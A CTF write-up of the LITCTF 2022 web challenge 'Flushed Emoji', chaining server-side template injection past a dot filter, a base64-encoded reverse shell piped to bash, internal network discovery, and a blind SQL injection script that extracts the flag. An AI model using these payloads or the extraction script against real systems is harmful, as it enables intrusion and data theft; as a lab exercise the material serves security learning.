Flushed Emoji challenge Writeup

4 minute read

Lexington Informatics Tournament CTF CTF 2022 was held from the 22nd of July Until the 25th of the month , and we have participated under the team 0xcha0s, we have managed to solve multiple challenges. this challenge was solved less than 50 times in the 3 days and it was really nice.

   
CTF name LITCTF 2022
challenge Flushed Emoji
category web
about SSTI , SQL injection
description Flushed emojis are so cool!!
points 250
team 0xCha0s

Discovery

we are given source code , so we can start from there

image

main-server

we can start checking the main-server/main.py file , let’s check the important parts :

  • there is a login function which make sure the password doesn’t contain a dot
def login():
	if request.method == 'POST':
		username = request.form['username']
	     password = request.form['password']
	    if('.' in password):
		    return render_template_string("lmao no way you have . in your password LOL");
  • if we have passed the dot check , our data will be sent as a post request to a remote server we don’t know its ip address
  • if it didn’t return True our password will be processed with the render_template_string() function which is known to be a factor for SSTI exploitation
    r = requests.post('[Other server IP]', json={"username": alphanumericalOnly(username),"password": alphanumericalOnly(password)});
    print(r.text);
    if(r.text == "True"):
      return render_template_string("OMG you are like so good at guessing our flag I am lowkey jealoussss.");
    return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");

  return render_template("index.html");
  • As our input doesn’t have proper filtration we can try to trigger SSTI .
  • However most SSTI payloads contains dots , then after some searching we come across this awesome research
  • the research discussing the possibility of evading the dots filters by using the following approach :

# to be

now let’s go test the web application :

image

Trying the above payload we have a valid SSTI exploit :

image

  • now we can get a reverse shell so we can try our investigation without being concerned about dots filter. however any remote ip will have . of course.
  • we can get around this by base64 encode our reverse shell payload then :
<base64_reverse_shell> | base64 -d | bash

and we are in

image

  • if you look around in the machine you won’t find any useful data , and alot of linux basic utilities are not there like nano,vi,sudo,ssh,ssh-keygen,ss,netstat,ping,wget,curl,ifconfig,ip and others
  • our goal now is to get the IP of the remote server , we can simply search for all IPs in the machine with a simple grep regex command :
grep -rE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' / 2>/dev/null

image

we find this IP , and as we can’t get our ip address we can check the /etc/hosts

image

  • so most probably the 172.24.0.8 is our next destination
  • we can confirm that by trying to communicate with it using python3 as it was installed on the machine :”
>>> import requests
>>> r= requests.get("http://172.24.0.8:8080")
>>> print(r.text)

  • if the communication party is not available an exception will be raised however it doesn’t traceback an error.(we know port 8080 from upcoming code)

data-server

now Let’s check the data-server/main.py code

  • here we can see the flag is inserted into the database at the data server and if we check the rest of the code we can’t find any condition lead to make the flag be printed so keep sql injeciton in our mind
con = sqlite3.connect('data.db', check_same_thread=False)

app = Flask(__name__)
flag = open("flag.txt").read();
cur = con.cursor()
cur.execute('''DROP TABLE IF EXISTS users''')
cur.execute('''CREATE TABLE users (username text, password text)''')
cur.execute(
    '''INSERT INTO users (username,password) VALUES ("flag","''' + flag + '''") '''
)
  • we have an endpoint called /runquery which accepts JSON post data
  • it will execute the statement without proper filters on password field
  • we can know it will be error based SQLi from the True or False message errors
@app.route('/runquery', methods=['POST'])
def runquery():
  request_data = request.get_json()
  username = request_data["username"];
  password = request_data["password"];
  print(password);
  cur.execute("SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'");
  rows = cur.fetchall()
  if(len(rows) > 0):
    return "True";
  return "False";
app.run(host='127.0.0.1',port=8080,debug=True)
  • the exploitation environment is very restricted and we doesn’t have many choices , we will build our script and run it in the python3 interactive terminal

Exploitation

  • Let’s just confirm the server returns True or False :
>>> import requests
>>> url  = "http://172.24.0.8:8080/runquery"
>>> data={'username':'test','password':'test'}
>>> r = requests.post(url,json=data)
>>> print(r.text)
False
  • we will exploit this SQL statement
SELECT * FROM users WHERE username='<username>' AND password='<password>'
  • we can try basic payload to alter the SQL execution :
junk' OR 1=1--

and it returns True indeed :

image

  • in This CTF challenge we know the flag format so it is really helpful , we can use LIKE statement in our injection
import requests,string
printable = string.ascii_lowercase + string.ascii_uppercase + "0123456789"+ "{}_*-+="
flag = "LITCTF{"
while not flag.endswith('}'):
    for c in printable:
        if "True" in requests.post(url = 'http://172.24.0.8:8080/runquery', json={'username': 'test','password': f'junk\' or password like \'{flag+c}%\'--'}).text:
            flag = flag+c
            print(flag)
            break

Running the Exploit we can get our flag :

image

LITCTF{flush3d_3m0ji_o_0}